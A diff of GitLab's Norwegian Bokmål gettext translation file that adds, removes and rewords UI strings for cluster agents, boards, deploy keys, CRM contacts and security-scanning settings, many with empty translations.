@@ -1570,9 +1604,6 @@ msgstr "Velg en metode"
msgid "APIFuzzing|Choose a profile"
msgstr "Velg en profil"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Tilgangskode"
msgid "Access denied for your LDAP account."
msgstr "Tilgang nektet for LDAP-kontoen din."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Ingen tilgang! Vennligst verifiser at du kan legge til nøkler i dette kodelageret."
-
msgid "Access denied: %{error}"
msgstr "Tilgang nektet: %{error}"
@@ -1957,12 +1985,18 @@ msgstr "Legg til en nummerert liste"
msgid "Add a related issue"
msgstr "Legg til en related sak"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Legg til ny tabell"
msgid "Add a task list"
msgstr "Legg til en oppgaveliste"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Legg til en oppgave"
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Legg til ny applikasjon"
msgid "Add new directory"
msgstr "Legg til ny katalog"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr "Legg til eller fjern tidligere innflettede commits"
@@ -2119,6 +2156,9 @@ msgstr "Legg til brukere i gruppen"
msgid "Add variable"
msgstr "Legg til variabel"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Legg til Webhook"
@@ -2164,9 +2204,6 @@ msgstr "La til en oppgave."
msgid "Added an issue to an epic."
msgstr "La til en sak i en epos."
-msgid "Added at"
-msgstr "Lagt til på"
-
msgid "Added for this merge request"
msgstr "Lagt til for denne fletteforespørselen"
@@ -2209,8 +2246,8 @@ msgstr "Legger til %{epic_ref} som under-epos."
msgid "Adds %{labels} %{label_text}."
msgstr "Legger til %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Legger til et Zoom-møte"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Legger til en oppgave."
@@ -2218,8 +2255,8 @@ msgstr "Legger til en oppgave."
msgid "Adds an issue to an epic."
msgstr "Legger til en sak i en epos."
-msgid "Adds email participant(s)"
-msgstr "Legger til E-postdeltaker(e)"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr ""
@@ -2314,6 +2351,9 @@ msgstr "Nyligste brukere"
msgid "AdminArea|Maintainer"
msgstr "Vedlikeholder"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Ny gruppe"
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Feil under innlasting av statistikken. Vennligst prøv igjen"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr "Avanserte innstillinger"
msgid "Advanced export options"
msgstr "Avanserte eksportinnstillinger"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Etter en vellykket passordoppdatering vil du bli omdirigert til påloggingsskjermen."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Etter en vellykket passordoppdatering, vil du bli omdirigert til påloggingssiden der du kan logge på med ditt nye passord."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
-msgstr "Etter det vil du ikke kunne bruke flettegodkjenninger eller kodekvalitet samt mange andre funksjoner."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
-msgstr "Etter det vil du ikke kunne bruke flettegodkjenninger eller eposer, så vel som mange andre funksjoner."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Et tomt GitLab-brukerfelt vil legge til FogBugz-brukerens fulle navn (f.eks. \"Av John Smith\") i beskrivelsen av alle saker og kommentarer. Det vil også knytte og/eller tildele disse sakene og kommentarene til prosjektskaperen."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "En feil har oppstått"
@@ -3550,6 +3596,9 @@ msgstr "Det oppstod en feil under henting av nedfallsdataene."
msgid "An error occurred fetching the project authors."
msgstr "Det oppstod en feil under innhenting av prosjektskaperne."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "En feil oppstod under forhåndsvisning av blobben"
@@ -3709,6 +3758,9 @@ msgstr "En feil oppstod under innlasting av alle filene."
msgid "An error occurred while loading chart data"
msgstr "En feil oppstod under innlasting av diagramdata"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "En feil oppstod under innlasting av commitsignaturer"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "En sak finnes allerede"
@@ -3930,6 +3985,9 @@ msgstr "Analyser en gjennomgangsversjon av nettapplikasjonen din."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Analyser avhengighetene dine for kjente sårbarheter."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "Analyser kildekoden og git-historikken din for hemmeligheter."
@@ -3972,9 +4030,6 @@ msgstr "Enhver milepæl"
msgid "Any encrypted tokens"
msgstr "Alle krypterte sjetonger"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Ethvert stempel"
@@ -3987,9 +4042,6 @@ msgstr "Enhver milepæl"
msgid "Any namespace"
msgstr "Ethvert navneområde"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "App-ID"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr "Er du sikker på at du vil slette denne %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
msgstr "Er du sikker på at du vil slette denne SSH-nøkkelen?"
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Er du sikker på at du vil slette denne enheten? Denne handlingen kan ikke angres på."
@@ -4669,6 +4730,9 @@ msgstr "Tilegn til"
msgid "Assign to commenting user"
msgstr "Tilordne til den kommenterende brukeren"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Tildel deg selv til disse sakene"
@@ -4766,6 +4830,9 @@ msgstr "Vedlegging av filen mislyktes."
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(fjernet)"
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr "Velg et prosjekt"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr "Enhver milepæl"
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr "Tilordnet"
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "Rediger"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Milepæl"
@@ -5518,6 +5600,9 @@ msgstr "Søk i milepæler"
msgid "BoardScope|Select assignee"
msgstr "Velg en tilordnet"
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "Velg milepæl"
@@ -5609,6 +5694,9 @@ msgstr "Utvid"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr "Nytt epos"
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Vis omfang"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr "Importer grupper fra GitLab"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr "Navnet finnes allerede."
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL-adresse for tilbakeringing"
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr "Ikke tildelte"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr "En ny gren vil bli opprettet i din utgreining, og en ny fletteforespørsel vil bli påbegynt."
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr "Endringer"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr "Endringene er lagret."
@@ -6532,6 +6629,9 @@ msgstr "Endrer tittelen til \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr "Endring av gruppe-URL-en kan ha utilsiktede bivirkninger."
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr "%{name} sitt GitLab-abonnement"
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr "%{selectedPlanText}-plan"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} CI-minutter"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr "Velg fil …"
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Velg en fil"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Klienter"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Klone"
@@ -7217,6 +7317,9 @@ msgstr "Lukk"
msgid "Close %{issueType}"
msgstr "Lukk %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Lukk %{tabname}"
@@ -7259,12 +7362,6 @@ msgstr "Lukket: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Lukker denne %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Klynge"
@@ -7286,16 +7383,31 @@ msgstr "Klynge-nivå"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr "Tilgangssjetonger"
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "En ukjent feil oppstod. Vennligst prøv igjen."
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr "Oppsett"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr "Kopier sjetong"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "Opprettet av"
@@ -7328,28 +7464,31 @@ msgstr "Opprettet av %{name} den %{time}"
msgid "ClusterAgents|Date created"
msgstr "Dato opprettet"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "Beskrivelse"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
-msgstr "GÃ¥ til kodelageret"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr "Aldri"
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Ukjent bruker"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr "Brukeren har ikke tilstrekkelige tillatelser til å opprette en sjetong for dette prosjektet"
@@ -7568,15 +7728,18 @@ msgstr "Klyngenavn er påkrevd."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr "Klynger brukes ved å velge nærmeste forfader med et samsvarende miljøomfang. For eksempel vil prosjektklynger overstyre gruppeklynger. %{linkStart}Mere informasjon%{linkEnd}"
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr "Koble til eksisterende klynge"
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr "Tilkoblingsfeil"
@@ -7703,9 +7866,6 @@ msgstr "Innhenter prosjekter"
msgid "ClusterIntegration|Fetching zones"
msgstr "Innhenter soner"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-integrering"
@@ -7751,12 +7911,6 @@ msgstr "Instansklynge"
msgid "ClusterIntegration|Instance type"
msgstr "Instanstype"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr "Integrasjon er skrudd av"
@@ -7778,9 +7932,6 @@ msgstr "Kubernetes-klyngenavn"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "Kubernetes-klyngen ble vellykket opprettet."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Kubernetes-versjon"
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL-en som brukes til å få tilgang til Kubernetes-API-en."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr "Kunne ikke koble til"
msgid "ClusterIntegration|Unknown Error"
msgstr "Ukjent feil"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr "En feil oppstod under innlasting av klynger"
msgid "Code"
msgstr "Kode"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr "Kodedekning: %{coveragePercentage}"
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "Kodedekning: %{coveragePercentage}%{percentSymbol}"
@@ -8231,6 +8385,9 @@ msgstr "Kodeeiere"
msgid "Code review"
msgstr "Kodevurdering"
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr "Sett opp integrasjoner"
msgid "Configure Prometheus"
msgstr "Sett opp Prometheus"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Konfigurer sporing"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr "Konfigurer hvilke lister som skal vises for alle som besøker dette bordet"
@@ -9421,7 +9584,7 @@ msgstr "Nyligst brukt"
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr "Opprett %{type}"
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Opprett ny katalog"
@@ -9736,6 +9902,9 @@ msgstr "Opprett utgivelse"
msgid "Create requirement"
msgstr "Opprett krav"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Opprett utdrag"
@@ -9769,9 +9938,6 @@ msgstr "Du har ikke tillatelse til å opprette grupper."
msgid "CreateTag|Tag"
msgstr "Etikett"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (standard)"
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr "Kritiske sårbarheter til stede"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Cron-tidssone"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Kontrollpanel"
@@ -11026,6 +11225,9 @@ msgstr "Slett kommentar"
msgid "Delete Key"
msgstr "Slett nøkkel"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr "Slett kommentar"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr "Slett fil"
@@ -11101,9 +11306,6 @@ msgstr "Slett brukerliste"
msgid "Delete variable"
msgstr "Slett variabel"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr "Slettede prosjekter"
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Sletter"
@@ -11266,6 +11474,9 @@ msgstr "Avhengighetsmellomtjener"
msgid "Dependency Scanning"
msgstr "Avhengighetsskanning"
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
